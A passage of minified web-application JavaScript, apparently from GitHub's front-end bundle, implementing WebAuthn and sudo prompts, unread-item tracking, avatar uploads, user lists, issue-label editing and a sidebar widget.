link[rel=stylesheet]")||(I.setAttribute("data-pjax-transient",""),document.head.append(I))}},"replaceTransientTags"),y=s(()=>{var S;const R=(S=e[document.location.href])==null?void 0:S.stylesheets;if(!!R)for(const I of R)document.head.querySelector(`link[href="${I.getAttribute("href")}"], + link[data-href="${I.getAttribute("data-href")}"]`)||document.head.append(I)},"addNewStylesheets"),w=s(()=>{var S;const R=(S=e[document.location.href])==null?void 0:S.scripts;if(!!R)for(const I of R)document.head.querySelector(`script[src="${I.getAttribute("src")}"]`)||document.head.append(I)},"addNewScripts")}function ul(){if("Intl"in window)try{return new window.Intl.DateTimeFormat().resolvedOptions().timeZone}catch{}}s(ul,"timezone"),window.requestIdleCallback(()=>{const e=ul();e&&(0,Ve.d8)("tz",encodeURIComponent(e))});var J=f(90420),Rr=f(70112),dl=Object.defineProperty,fl=Object.getOwnPropertyDescriptor,re=s((e,t,n,o)=>{for(var r=o>1?void 0:o?fl(t,n):t,i=e.length-1,a;i>=0;i--)(a=e[i])&&(r=(o?a(t,n,r):a(r))||r);return o&&r&&dl(t,n,r),r},"__decorateClass"),ml=(e=>(e.Initializing="initializing",e.Unsupported="unsupported",e.Ready="ready",e.Waiting="waiting",e.Error="error",e.Submitting="submitting",e))(ml||{});let be=s(class extends HTMLElement{constructor(){super(...arguments);this.state="initializing",this.json="",this.autofocusWhenReady=!1,this.autoPrompt=!1,this.hasErrored=!1}connectedCallback(){this.originalButtonText=this.button.textContent,this.setState((0,Rr.Zh)()?"ready":"unsupported"),this.autoPrompt&&this.prompt(void 0,!0)}setState(e){this.button.textContent=this.hasErrored?this.button.getAttribute("data-retry-message"):this.originalButtonText,this.button.disabled=!1,this.button.hidden=!1;for(const t of this.messages)t.hidden=!0;switch(e){case"initializing":this.button.disabled=!0;break;case"unsupported":this.button.disabled=!0,this.unsupportedMessage.hidden=!1;break;case"ready":this.autofocusWhenReady&&this.button.focus();break;case"waiting":this.waitingMessage.hidden=!1,this.button.hidden=!0;break;case"error":this.errorMessage.hidden=!1;break;case"submitting":this.button.textContent="Verifying\u2026",this.button.disabled=!0;break;default:throw new Error("invalid state")}this.state=e}async prompt(e,t){e==null||e.preventDefault(),this.dispatchEvent(new CustomEvent("webauthn-get-prompt"));try{t||this.setState("waiting");const n=JSON.parse(this.json),o=await(0,Rr.U2)(n);this.setState("submitting");const r=this.closest(".js-webauthn-form"),i=r.querySelector(".js-webauthn-response");i.value=JSON.stringify(o),(0,L.Bt)(r)}catch(n){if(!t)throw this.hasErrored=!0,this.setState("error"),n}}},"WebauthnGetElement");re([J.fA],be.prototype,"button",2),re([J.GO],be.prototype,"messages",2),re([J.fA],be.prototype,"unsupportedMessage",2),re([J.fA],be.prototype,"waitingMessage",2),re([J.fA],be.prototype,"errorMessage",2),re([J.Lj],be.prototype,"json",2),re([J.Lj],be.prototype,"autofocusWhenReady",2),re([J.Lj],be.prototype,"autoPrompt",2),be=re([J.Ih],be);var hl=(e=>(e.Initializing="initializing",e.ShowingForm="showing-form",e.ShowingRevealer="showing-revealer",e))(hl||{});let We=s(class extends HTMLElement{constructor(){super(...arguments);this.state="showing-form"}connectedCallback(){this.setState(this.state)}setState(e){switch(this.revealer.hidden=!0,this.form.hidden=!1,e){case"initializing":break;case"showing-form":this.dispatchEvent(new CustomEvent("sudo-password-showing-form"));break;case"showing-revealer":this.revealer.hidden=!1,this.form.hidden=!0;break;default:throw new Error("invalid state")}this.state=e}reveal(){this.setState("showing-form")}},"SudoPasswordElement");re([J.Lj],We.prototype,"state",2),re([J.fA],We.prototype,"revealer",2),re([J.fA],We.prototype,"form",2),re([J.fA],We.prototype,"passwordField",2),We=re([J.Ih],We);let At=s(class extends HTMLElement{connectedCallback(){var e;(e=this.webauthnGet)==null||e.addEventListener("webauthn-get-prompt",()=>{this.sudoPassword.setState("showing-revealer")}),this.sudoPassword.addEventListener("sudo-password-showing-form",()=>{var t;(t=this.webauthnGet)==null||t.setState("ready"),this.sudoPassword.passwordField.focus()})}},"SudoAuthElement");re([J.fA],At.prototype,"webauthnGet",2),re([J.fA],At.prototype,"sudoPassword",2),At=re([J.Ih],At);let kn=0;function pl(){if(!document.hasFocus())return;const e=document.querySelector(".js-timeline-marker-form");e&&e instanceof HTMLFormElement&&(0,L.Bt)(e)}s(pl,"markThreadAsRead");const Ct="IntersectionObserver"in window?new IntersectionObserver(function(e){for(const t of e)t.isIntersecting&&_r(t.target)},{root:null,rootMargin:"0px",threshold:1}):null;(0,u.N7)(".js-unread-item",{constructor:HTMLElement,add(e){kn++,Ct&&Ct.observe(e)},remove(e){kn--,Ct&&Ct.unobserve(e),kn===0&&pl()}});function _r(e){e.classList.remove("js-unread-item","unread-item")}s(_r,"clearUnread"),(0,u.N7)(".js-discussion[data-channel-target]",{subscribe:e=>(0,M.RB)(e,"socket:message",function(t){const n=t.target,o=t.detail.data;if(n.getAttribute("data-channel-target")===o.gid)for(const r of document.querySelectorAll(".js-unread-item"))_r(r)})});let kt=0;const Pr=/^\(\d+\)\s+/;function Ir(){const e=kt?`(${kt}) `:"";document.title.match(Pr)?document.title=document.title.replace(Pr,e):document.title=`${e}${document.title}`}s(Ir,"updateTitle"),(0,u.N7)(".js-unread-item",{add(){kt++,Ir()},remove(){kt--,Ir()}}),(0,u.N7)(".js-socket-channel.js-updatable-content",{subscribe:e=>(0,M.RB)(e,"socket:message",function(t){const{gid:n,wait:o}=t.detail.data,r=t.target,i=n?gl(r,n):r;i&&setTimeout(Me.x0,o||0,i)})});function gl(e,t){if(e.getAttribute("data-gid")===t)return e;for(const n of e.querySelectorAll("[data-url][data-gid]"))if(n.getAttribute("data-gid")===t)return n;return null}s(gl,"findByGid");async function bl(){if(!(!history.state||!history.state.staleRecords)){await me.x;for(const e in history.state.staleRecords)for(const t of document.querySelectorAll(`.js-updatable-content [data-url='${e}'], .js-updatable-content[data-url='${e}']`)){const n=history.state.staleRecords[e];t instanceof HTMLElement&&(0,Me.Of)(t,n,!0)}(0,E.lO)(null,"",location.href)}}s(bl,"reapplyPreviouslyUpdatedContent"),window.addEventListener("pagehide",Me.z8);try{bl()}catch{}(0,c.on)("upload:setup",".js-upload-avatar-image",function(e){const{form:t}=e.detail,n=e.currentTarget.getAttribute("data-alambic-organization"),o=e.currentTarget.getAttribute("data-alambic-owner-type"),r=e.currentTarget.getAttribute("data-alambic-owner-id");n&&t.append("organization_id",n),o&&t.append("owner_type",o),r&&t.append("owner_id",r)}),(0,c.on)("upload:complete",".js-upload-avatar-image",function(e){const{attachment:t}=e.detail,n=`/settings/avatars/${t.id}`;(0,Te.W)({content:(0,pe.a)(document,n),detailsClass:"upload-avatar-details"})}),(0,c.on)("dialog:remove",".upload-avatar-details",async function(e){const o=`/settings/avatars/${e.currentTarget.querySelector("#avatar-crop-form").getAttribute("data-alambic-avatar-id")}?op=destroy`,r=e.currentTarget.querySelector(".js-avatar-post-csrf").getAttribute("value"),i=new Request(o,{method:"POST",headers:{"Scoped-CSRF-Token":r,"X-Requested-With":"XMLHttpRequest"}});await self.fetch(i)});function xt(){if(document.querySelector(":target"))return;const e=(0,Tn.$z)(location.hash).toLowerCase(),t=(0,Tn.Q)(document,`user-content-${e}`);t&&(0,nn.zT)(t)}s(xt,"hashchange"),window.addEventListener("hashchange",xt),document.addEventListener("pjax:success",xt),async function(){await me.x,xt()}(),(0,c.on)("click","a[href]",function(e){const{currentTarget:t}=e;t instanceof HTMLAnchorElement&&t.href===location.href&&location.hash.length>1&&setTimeout(function(){e.defaultPrevented||xt()})});var hu=f(95128);async function yl(e){const t=e.currentTarget,{init:n}=await f.e("app_assets_modules_github_user-status-submit_ts").then(f.bind(f,35145));n(t)}s(yl,"user_status_loader_load"),(0,u.N7)(".js-user-status-container",{subscribe:e=>(0,M.RB)(e,"click",yl,{once:!0})});var Mt=f(55741);function vl(e,t){const n=e.querySelector(".js-user-list-base");n&&(n.textContent=t||n.getAttribute("data-generic-message"),n.hidden=!1)}s(vl,"setFlashError");function Dr(e,t){const o=(t||e).querySelectorAll(".js-user-list-error");for(const a of o)a.hidden=!0;const r=t?[t]:e.querySelectorAll(".errored.js-user-list-input-container");for(const a of r)a.classList.remove("errored");const i=e.querySelector(".js-user-list-base");i&&(i.hidden=!0)}s(Dr,"resetValidation"),(0,C.AC)(".js-user-list-form",async function(e,t){var n;Dr(e);const o=e.querySelector("[data-submitting-message]"),r=o==null?void 0:o.textContent;o&&(o.textContent=o.getAttribute("data-submitting-message"),o.disabled=!0);for(const i of e.querySelectorAll(".js-user-list-input"))i.disabled=!0;try{const i=await t.html();(0,c.f)(e,"user-list-form:success",i.html)}catch(i){if(((n=i.response)==null?void 0:n.status)===422)e.replaceWith(i.response.html);else{vl(e),o&&(r&&(o.textContent=r),o.disabled=!1);for(const a of e.querySelectorAll(".js-user-list-input"))a.disabled=!1}}}),(0,c.on)("user-list-form:success",".js-follow-list",e=>{const t=e.detail,n=t instanceof DocumentFragment?t.querySelector(".js-target-url"):null;(n==null?void 0:n.textContent)?location.href=n.textContent:location.reload()});function Hr(e){if(!(e.currentTarget instanceof HTMLElement))return;const t=e.currentTarget.closest(".js-user-list-form"),n=e.currentTarget.closest(".js-user-list-input-container");t&&n&&Dr(t,n)}s(Hr,"clearErrorsFromInput"),(0,j.q6)(".js-user-list-form input",Hr),(0,j.q6)(".js-user-list-form textarea",Hr),(0,c.on)("auto-check-error",".js-user-list-form input",function(e){const t=e.currentTarget.closest(".js-user-list-input-container"),n=t==null?void 0:t.querySelector(".js-user-list-error");n&&(n.hidden=!1)});function wl(e){var t;const n=new Map;for(const o of e){const r=(t=o.querySelector(".js-user-lists-create-trigger"))==null?void 0:t.getAttribute("data-repository-id");if(r){const i=n.get(r);i?i.push(o):n.set(r,[o])}}return n}s(wl,"groupRootsByRepositoryId");async function El(e,t,n){const o=new FormData;o.set("authenticity_token",t);for(const a of n)o.append("repository_ids[]",a);const r=await fetch(e,{method:"POST",body:o,headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}}),i=new Map;if(r.ok){const a=await r.json();for(const l in a)i.set(l,(0,q.r)(document,a[l]))}return i}s(El,"requestMenuBatchRender");function Ll(e,t){for(const[n,o]of e.entries()){const r=t.get(n)||[];for(const i of r)i.replaceWith(r.length===1?o:o.cloneNode(!0))}}s(Ll,"replaceUserListMenuRoots");async function Or(){var e;const t=document.querySelectorAll(".js-user-list-menu-content-root");if(t.length===0)return;const n=t[0].getAttribute("data-batch-update-url");if(!n)return;const o=(e=t[0].querySelector(".js-user-list-batch-update-csrf"))==null?void 0:e.value;if(!o)return;const r=wl(t),i=r.keys(),a=await El(n,o,i);a.size>0&&Ll(a,r)}s(Or,"updateAllUserListMenus");function jl(e){const t=new Promise((n,o)=>{e.addEventListener("user-list-menu-form:success",()=>n()),e.addEventListener("user-list-menu-form:error",r=>o(r))});return(0,L.Bt)(e),t}s(jl,"requestUserListMenuFormSubmit");function Sl(e){const t=e.target;if(!(t instanceof HTMLDetailsElement)||t.hasAttribute("open"))return;const n=t.querySelector(".js-user-list-menu-form");n&&(0,Mt.T)(n)&&(0,L.Bt)(n);const o=t.querySelector(".js-user-list-create-trigger-text");o&&(o.textContent="")}s(Sl,"submitUserListFormOnToggle"),(0,c.on)("toggle",".js-user-list-menu",Sl,{capture:!0}),(0,j.q6)(".js-user-lists-menu-filter",e=>{const t=e.currentTarget,n=t.value.trim(),o=t.closest(".js-user-list-menu-content-root"),r=o==null?void 0:o.querySelector(".js-user-list-create-trigger-text");!r||(r.textContent=n?`"${n}"`:"")}),(0,C.AC)(".js-user-list-menu-form",async function(e,t){let n;try{n=await t.json()}catch(r){(0,T.v)(),(0,c.f)(e,"user-list-menu-form:error",r);return}if(n.json.didStar){const r=e.closest(".js-toggler-container");r&&r.classList.add("on");const i=n.json.starCount;if(i){const a=e.closest(".js-social-container");a&&mr(a,i)}}const o=e.closest(".js-user-list-menu-content-root[data-update-after-submit]");if(o)for(const r of e.querySelectorAll(".js-user-list-menu-item"))r.checked=r.defaultChecked;n.json.didCreate?await Or():o&&await(0,Me.x0)(o),(0,c.f)(e,"user-list-menu-form:success")}),(0,c.on)("click",".js-user-list-delete-confirmation-trigger",e=>{const{currentTarget:t}=e,n=t.getAttribute("data-template-id");if(!n)return;const o=document.getElementById(n);if(!o||!(o instanceof HTMLTemplateElement))return;const r=t.closest(".js-edit-user-list-dialog");r&&(r.open=!1);const i=o.content.cloneNode(!0),a=o.getAttribute("data-labelledby");(0,Te.W)({content:i,labelledBy:a})}),(0,c.on)("click",".js-user-lists-create-trigger",async function(e){const{currentTarget:t}=e,n=document.querySelector(".js-user-list-create-dialog-template"),o=e.currentTarget.getAttribute("data-repository-id"),r=t.closest(".js-user-list-menu-content-root"),i=r==null?void 0:r.querySelector(".js-user-lists-menu-filter"),a=i==null?void 0:i.value.trim();if(!n||!(n instanceof HTMLTemplateElement)||!o){t instanceof HTMLButtonElement&&(t.disabled=!0);return}const l=n.getAttribute("data-label");if(r&&(0,Mt.T)(r)){const S=r.querySelector(".js-user-list-menu-form");S&&await jl(S)}const y=new lt.R(n,{repositoryId:o,placeholderName:a}),w=await(0,Te.W)({content:y,label:l});w.addEventListener("user-list-form:success",async()=>{await Or();const S=w.closest("details");S&&(S.open=!1)})}),(0,u.N7)("[data-warn-unsaved-changes]",{add(e){e.addEventListener("input",qt),e.addEventListener("change",qt),e.addEventListener("submit",et);const t=e.closest("details-dialog");t&&(t.closest("details").addEventListener("toggle",Nr),t.addEventListener("details-dialog-close",Br))},remove(e){e.removeEventListener("input",qt),e.removeEventListener("change",qt),e.removeEventListener("submit",et);const t=e.closest("details-dialog");t&&(t.closest("details").removeEventListener("toggle",Nr),t.removeEventListener("details-dialog-close",Br),et())}});function qt(e){const t=e.currentTarget;(0,Mt.T)(t)?Tl(t):et()}s(qt,"prepareUnsavedChangesWarning");function Tl(e){const t=e.getAttribute("data-warn-unsaved-changes")||"Changes you made may not be saved.";window.onbeforeunload=function(n){return n.returnValue=t,t}}s(Tl,"enableSaveChangesReminder");function et(){window.onbeforeunload=null}s(et,"disableSaveChangesReminder");function Nr({currentTarget:e}){e.hasAttribute("open")||et()}s(Nr,"disableSaveChangesReminderOnClosedDialogs");function Br(e){const t=e.currentTarget;if(!t.closest("details[open]"))return;let o=!0;const r=t.querySelectorAll("form[data-warn-unsaved-changes]");for(const i of r)if((0,Mt.T)(i)){const a=i.getAttribute("data-warn-unsaved-changes");o=confirm(a);break}o||e.preventDefault()}s(Br,"promptOnDialogClosing"),(0,u.N7)(".will-transition-once",{constructor:HTMLElement,subscribe:e=>(0,M.RB)(e,"transitionend",Al)});function Al(e){e.target.classList.remove("will-transition-once")}s(Al,"onTransitionEnd");async function Cl(e){const t=e.currentTarget,n=t.getAttribute("data-url");if(!n||kl(t))return;const o=t.getAttribute("data-id")||"",r=t.textContent,i=document.querySelectorAll(`.js-issue-link[data-id='${o}']`);for(const a of i)a.removeAttribute("data-url");try{const a=`${n}/title`,l=await fetch(a,{headers:{"X-Requested-With":"XMLHttpRequest",Accept:"application/json"}});if(!l.ok){const w=new Error,S=l.statusText?` ${l.statusText}`:"";throw w.message=`HTTP ${l.status}${S}`,w}const y=await l.json();$r(i,`${r}, ${y.title}`)}catch(a){const l=(a.response!=null?a.response.status:void 0)||500,y=(()=>{switch(l){case 404:return t.getAttribute("data-permission-text");default:return t.getAttribute("data-error-text")}})();$r(i,y||"")}}s(Cl,"issueLabel");function $r(e,t){for(const n of e)n instanceof HTMLElement&&(n.classList.add("tooltipped","tooltipped-ne"),n.setAttribute("aria-label",t))}s($r,"setLabel");function kl(e){switch(e.getAttribute("data-hovercard-type")){case"issue":case"pull_request":return!!e.closest("[data-issue-and-pr-hovercards-enabled]");case"discussion":return!!e.closest("[data-discussion-hovercards-enabled]");default:return!1}}s(kl,"isHovercardEnabled"),(0,u.N7)(".js-issue-link",{subscribe:e=>(0,M.RB)(e,"mouseenter",Cl)});var xl=f(12085),Ie=f.n(xl);function xn(){return[Math.floor(Math.random()*(255-0)+0),Math.floor(Math.random()*(255-0)+0),Math.floor(Math.random()*(255-0)+0)]}s(xn,"randomRGBColor");function tt(e,t){const n=Ie().rgb.hsl(t);e.style.setProperty("--label-r",t[0].toString()),e.style.setProperty("--label-g",t[1].toString()),e.style.setProperty("--label-b",t[2].toString()),e.style.setProperty("--label-h",n[0].toString()),e.style.setProperty("--label-s",n[1].toString()),e.style.setProperty("--label-l",n[2].toString())}s(tt,"setColorSwatch");function Mn(e,t){e.blur();const n=e.closest("form"),o=n.querySelector(".js-new-label-color-input");(0,L.Se)(o,`#${Ie().rgb.hex(t)}`);const r=n.querySelector(".js-new-label-color");tt(r,t)}s(Mn,"setInputColorFromButton");function Ml(e,t){e.closest(".js-label-error-container").classList.add("errored"),e.textContent=t,e.hidden=!1}s(Ml,"addErrorToField");function ql(e){e.closest(".js-label-error-container").classList.remove("errored"),e.hidden=!0}s(ql,"removeErrorFromField");function ze(e,t,n){const o=t.querySelector(e);!o||(n?Ml(o,n[0]):ql(o))}s(ze,"showOrHideLabelError");function qn(e,t){ze(".js-label-name-error",e,t.name),ze(".js-label-description-error",e,t.description),ze(".js-label-color-error",e,t.color)}s(qn,"showLabelErrors");function De(e){ze(".js-label-name-error",e,null),ze(".js-label-description-error",e,null),ze(".js-label-color-error",e,null)}s(De,"hideLabelErrors");function Rl(e,t,n,o,r){const i=new URL(`${e}${encodeURIComponent(t)}`,window.location.origin),a=new URLSearchParams(i.search.slice(1));return a.append("color",n),o&&a.append("description",o),r&&a.append("id",r),i.search=a.toString(),i.toString()}s(Rl,"labelPreviewUrl");function _l(e){let t=null;const n=e.querySelector(".js-new-label-description-input");return n instanceof HTMLInputElement&&n.value.trim().length>0&&(t=n.value.trim()),t}s(_l,"labelDescriptionFrom");function Pl(e){const t=e.querySelector(".js-new-label-color-input");return t.checkValidity()?t.value.trim().replace(/^#/,""):"ededed"}s(Pl,"labelColorFrom");function Il(e,t){let o=e.querySelector(".js-new-label-name-input").value.trim();return o.length<1&&(o=t.getAttribute("data-default-name")),o}s(Il,"labelNameFrom");async function Ke(e){const t=e.closest(".js-label-preview-container");if(!t)return;const n=e.closest(".js-label-form"),o=n.querySelector(".js-new-label-error"),r=n.getAttribute("data-label-id"),i=t.querySelector(".js-label-preview"),a=Il(n,i);if(!n.checkValidity()&&a!=="Label preview")return;const l=Pl(n),y=_l(n),w=i.getAttribute("data-url-template"),S=Rl(w,a,l,y,r);if(t.hasAttribute("data-last-preview-url")){const I=t.getAttribute("data-last-preview-url");if(S===I)return}let R;try{R=await(0,pe.a)(document,S)}catch(I){const F=await I.response.json();qn(n,F),o&&(o.textContent=F.message,o.hidden=!1);return}o&&(o.textContent="",o.hidden=!0),De(n),i.innerHTML="",i.appendChild(R),t.setAttribute("data-last-preview-url",S)}s(Ke,"updateLabelPreview");function Dl(e){Ke(e.target)}s(Dl,"onLabelFormInputChange");function Fr(e,t){e.closest(".js-details-container").classList.toggle("is-empty",t)}s(Fr,"toggleBlankSlate");function Ur(e){const t=document.querySelector(".js-labels-count"),o=Number(t.textContent)+e;t.textContent=o.toString();const r=document.querySelector(".js-labels-label");return r.textContent=r.getAttribute(o===1?"data-singular-string":"data-plural-string"),o}s(Ur,"updateCount"),(0,j.q6)(".js-label-filter-field",function(e){const t=e.target,o=t.closest("details-menu").querySelector(".js-new-label-name");if(!o)return;const r=t.value.trim();o.textContent=r}),(0,c.on)("filterable:change",".js-filterable-issue-labels",function(e){const t=e.currentTarget.closest("details-menu"),n=t.querySelector(".js-add-label-button");if(!n)return;const r=e.detail.inputField.value.trim().toLowerCase();let i=!1;for(const a of t.querySelectorAll("input[data-label-name]"))if((a.getAttribute("data-label-name")||"").toLowerCase()===r){i=!0;break}n.hidden=r.length===0||i}),(0,j.ZG)(".js-new-label-color-input",function(e){const n=e.closest("form").querySelector(".js-new-label-swatches");n.hidden=!1,e.addEventListener("blur",function(){n.hidden=!0},{once:!0})}),(0,j.q6)(".js-new-label-color-input",function(e){const t=e.target;let n=t.value.trim();if(!(n.length<1))if(n.indexOf("#")!==0&&(n=`#${n}`,t.value=n),t.checkValidity()){t.classList.remove("color-fg-danger");const r=t.closest("form").querySelector(".js-new-label-color");tt(r,Ie().hex.rgb(n))}else t.classList.add("color-fg-danger")}),(0,j.w4)("keyup",".js-new-label-color-input",function(e){const t=e.target;let n=t.value.trim();if(n.indexOf("#")!==0&&(n=`#${n}`,t.value=n),t.checkValidity()){const i=t.closest("form").querySelector(".js-new-label-color");tt(i,Ie().hex.rgb(n))}(0,c.f)(t,"change",!1);const o=t.closest("form");De(o)}),(0,j.w4)("keyup",".js-new-label-description-input",function(e){const n=e.target.form;De(n)}),(0,j.w4)("keyup",".js-new-label-color-input",function(e){const n=e.target.form;De(n)}),(0,c.on)("click",".js-new-label-color",async function(e){const t=e.currentTarget,n=xn();Mn(t,n),Ke(t)}),(0,c.on)("mousedown",".js-new-label-color-swatch",function(e){const t=e.currentTarget,n=t.getAttribute("data-color");Mn(t,Ie().hex.rgb(n)),Ke(t);const o=t.closest(".js-new-label-swatches");o.hidden=!0}),(0,c.on)("toggle",".js-new-label-modal",function(e){e.target.hasAttribute("open")&&Wr(e.target)},{capture:!0});async function Wr(e){const t=e.querySelector(".js-new-label-name-input");if(!t)return;const n=e.querySelector(".js-new-label-color-input"),o=xn(),r=`#${Ie().rgb.hex(o)}`;n.value=r;const i=e.querySelector(".js-new-label-color");tt(i,o);const l=document.querySelector(".js-new-label-name").textContent;(0,L.Se)(t,l),(0,Ht.OD)(t),Ke(i)}s(Wr,"initLabelModal"),(0,C.AC)(".js-new-label-modal-form",async function(e,t){const n=e.querySelector(".js-new-label-error");let o;try{o=await t.html()}catch(y){const w=y.response.json;n.textContent=w.message,n.hidden=!1}if(!o)return;n.hidden=!0,document.querySelector(".js-new-label-modal").removeAttribute("open");const r=document.querySelector(".js-issue-labels-menu-content"),i=r.querySelector(".js-filterable-issue-labels"),a=o.html.querySelector("input");i.prepend(o.html),a&&a.dispatchEvent(new Event("change",{bubbles:!0}));const l=r.querySelector(".js-label-filter-field");l.value=l.defaultValue,l.focus()}),(0,c.on)("click",".js-edit-label-cancel",function(e){const t=e.target.closest("form");De(t),t.reset();const n=t.querySelector(".js-new-label-color-input"),o=n.value,r=t.querySelector(".js-new-label-color");tt(r,Ie().hex.rgb(o)),(0,Ht.Qc)(t),Ke(n);const i=e.currentTarget.closest(".js-labels-list-item");if(i){i.querySelector(".js-update-label").classList.add("d-none");const l=i.querySelector(".js-label-preview");l&&(l.classList.add("d-none"),i.querySelector(".js-label-link").classList.remove("d-none"));const y=i.querySelectorAll(".js-hide-on-label-edit");for(const w of y)w.hidden=!w.hidden}}),(0,C.AC)(".js-update-label",async function(e,t){let n;try{n=await t.html()}catch(r){const i=r.response.json;qn(e,i);return}De(e),e.closest(".js-labels-list-item").replaceWith(n.html)}),(0,C.AC)(".js-create-label",async function(e,t){let n;try{n=await t.html()}catch(a){const l=a.response.json;qn(e,l);return}e.reset(),De(e),document.querySelector(".js-label-list").prepend(n.html),Ur(1),Fr(e,!1);const o=e.querySelector(".js-new-label-color"),r=xn();Mn(o,r),Ke(e.querySelector(".js-new-label-name-input")),(0,Ht.Qc)(e);const i=e.closest(".js-details-container");i instanceof HTMLElement&&(0,Vt.Qp)(i)}),(0,c.on)("click",".js-details-target-new-label",function(){document.querySelector(".js-create-label").querySelector(".js-new-label-name-input").focus()}),(0,c.on)("click",".js-edit-label",function(e){const t=e.currentTarget.closest(".js-labels-list-item"),n=t.querySelector(".js-update-label");n.classList.remove("d-none"),n.querySelector(".js-new-label-name-input").focus();const r=t.querySelector(".js-label-preview");r&&(r.classList.remove("d-none"),t.querySelector(".js-label-link").classList.add("d-none"));const i=t.querySelectorAll(".js-hide-on-label-edit");for(const a of i)a.hidden=!a.hidden}),(0,C.AC)(".js-delete-label",async function(e,t){const n=e.closest(".js-labels-list-item");n.querySelector(".js-label-delete-spinner").hidden=!1,await t.text();const o=Ur(-1);Fr(e,o===0),n.remove()});const Rt=(0,P.D)(Dl,500);(0,c.on)("suggester:complete",".js-new-label-name-input",Rt),(0,j.q6)(".js-new-label-name-input",Rt),(0,j.q6)(".js-new-label-description-input",Rt),(0,j.q6)(".js-new-label-color-input",Rt),(0,j.w4)("keypress",".js-new-label-name-input",function(e){const t=e.target,n=parseInt(t.getAttribute("data-maxlength"));(0,Ee.rq)(t.value)>=n&&e.preventDefault()}),(0,c.on)("click",".js-issues-label-select-menu-item",function(e){!e.altKey&&!e.shiftKey||(e.preventDefault(),e.stopPropagation(),e.altKey&&(window.location.href=e.currentTarget.getAttribute("data-excluded-url")),e.shiftKey&&(window.location.href=e.currentTarget.getAttribute("data-included-url")))}),(0,j.w4)("keydown",".js-issues-label-select-menu-item",function(e){if(e.key!=="Enter"||!e.altKey&&!e.shiftKey)return;const t=e.currentTarget;e.preventDefault(),e.stopPropagation(),t instanceof HTMLAnchorElement&&(e.altKey&&(window.location.href=t.getAttribute("data-excluded-url")),e.shiftKey&&(window.location.href=t.getAttribute("data-included-url")))}),(0,c.on)("click",".js-open-label-creation-modal",async function(e){e.stopImmediatePropagation();const t=await(0,Te.W)({content:document.querySelector(".js-label-creation-template").content.cloneNode(!0),detailsClass:"js-new-label-modal"});Wr(t)},{capture:!0}),(0,c.on)("change",".js-thread-notification-setting",Rn),(0,c.on)("change",".js-custom-thread-notification-option",Rn),(0,c.on)("reset",".js-custom-thread-settings-form",Rn);function Rn(){const e=document.querySelector(".js-reveal-custom-thread-settings").checked,t=!document.querySelector(".js-custom-thread-notification-option:checked"),n=document.querySelector(".js-custom-thread-settings"),o=document.querySelector("[data-custom-option-required-text]"),r=e&&t?o.getAttribute("data-custom-option-required-text"):"";o.setCustomValidity(r),n.hidden=!e}s(Rn,"toggleEventSettings");var Hl=Object.defineProperty,Ol=Object.getOwnPropertyDescriptor,zr=s((e,t,n,o)=>{for(var r=o>1?void 0:o?Ol(t,n):t,i=e.length-1,a;i>=0;i--)(a=e[i])&&(r=(o?a(t,n,r):a(r))||r);return o&&r&&Hl(t,n,r),r},"sidebar_widget_decorateClass");let _n=s(class extends HTMLElement{get activeClass(){return this.getAttribute("active-class")||"collapsible-sidebar-widget-active"}get loadingClass(){return this.getAttribute("loading-class")||"collapsible-sidebar-widget-loading"}get url(){return this.getAttribute("url")||""}get isOpen(){return this.hasAttribute("open")}set isOpen(e){e?this.setAttribute("open",""):this.removeAttribute("open")}onKeyDown(e){if(e.code==="Enter"||e.code==="Space")return e.preventDefault(),this.load()}onMouseDown(e){return e.preventDefault(),this.load()}load(){return this.pendingRequest?this.pendingRequest.abort():this.collapsible.hasAttribute("loaded")?this.isOpen?this.setClose():this.setOpen():(this.setLoading(),this.updateCollapsible())}setLoading(){this.classList.add(this.loadingClass),this.classList.remove(this.activeClass)}setOpen(){this.classList.add(this.activeClass),this.classList.remove(this.loadingClass),this.isOpen=!0}setClose(){this.classList.remove(this.activeClass),this.classList.remove(this.loadingClass),this.isOpen=!1}handleAbort(){this.pendingRequest=null,this.setClose()}async updateCollapsible(){var e;try{this.pendingRequest=new AbortController,this.pendingRequest.signal.addEventListener("abort",()=>this.handleAbort());const t=await fetch(this.url,{signal:(e=this.pendingRequest)==null?void 0:e.signal,headers:{Accept:"text/html","X-Requested-With":"XMLHttpRequest"}});if(this.pendingRequest=null,!t.ok)return this.setClose();const n=await t.text();this.collapsible.innerHTML=n,this.collapsible.setAttribute("loaded",""),this.setOpen()}catch{return this.pendingRequest=null,this.setClose()}}},"CollapsibleSidebarWidgetElement");zr([J.fA],_n.prototype,"collapsible",2),_n=zr([J.Ih],_n);var Nl=Object.defineProperty,Bl=Object.getOwnPropertyDescriptor,ve=s((e,t,n,o)=>{for(var r=o>1?void 0:o?Bl(t,n):t,i=e.length-1,a;i>=0;i--)(a=e[i])&&(r=(o?a(t,n,r):a(r))||r);return o&&r&&Nl(t,n,r),r},"sidebar_memex_input_decorateClass");let ye=s(class extends HTMLElement{constructor(){super(...arguments);this.url="",this.csrf="",this.instrument="",this.column=1}get isDisabled(){var e;return(e=this.read)==null?void 0:e.hasAttribute("disabled")}set hasErrored(e){e?this.setAttribute("errored",""):this.removeAttribute("errored")}set disabled(e){e?this.setAttribute("disabled",""):this.removeAttribute("disabled")}get hasExpanded(){return this.read.getAttribute("aria-expanded")==="true"}connectedCallback(){var e,t;this.disabled=(t=(e=this.read)==null?void 0:e.disabled)!=null?t:!0,this.querySelector("details")!==null&&this.classList.toggle("no-pointer")}handleDetailsSelect(e){var t;const n=e,o=e.target,r=(t=n.detail)==null?void 0:t.relatedTarget,i=o.closest("details"),a=i==null?void 0:i.querySelector("[data-menu-button]");if(r.getAttribute("aria-checked")==="true"){r.setAttribute("aria-checked","false"),e.preventDefault();for(const l of this.inputs)if(r.contains(l)){this.updateCell(l.name,""),(a==null?void 0:a.innerHTML)&&(a.innerHTML=l.placeholder);break}i==null||i.removeAttribute("open")}}handleDetailsSelected(e){var t;const o=(t=e.detail)==null?void 0:t.relatedTarget;for(const r of this.inputs)if(o.contains(r)){this.updateCell(r.name,r.value);break}}mouseDownFocus(e){!this.isDisabled||this.onFocus(e)}keyDownFocus(e){(e.code==="Enter"||e.code==="Space")&&this.read!==document.activeElement&&this.onFocus(e)}onChange(e){var t,n;e.target.getAttribute("type")!=="date"&&this.updateCell((t=this.read)==null?void 0:t.name,(n=this.read)==null?void 0:n.value)}onFocus(e){e.preventDefault(),this.disabled=!1,this.read.disabled=!1,this.read.focus()}onBlur(e){var t,n;if(this.hasExpanded){e.preventDefault();return}e.target.getAttribute("type")==="date"&&this.updateCell((t=this.read)==null?void 0:t.name,(n=this.read)==null?void 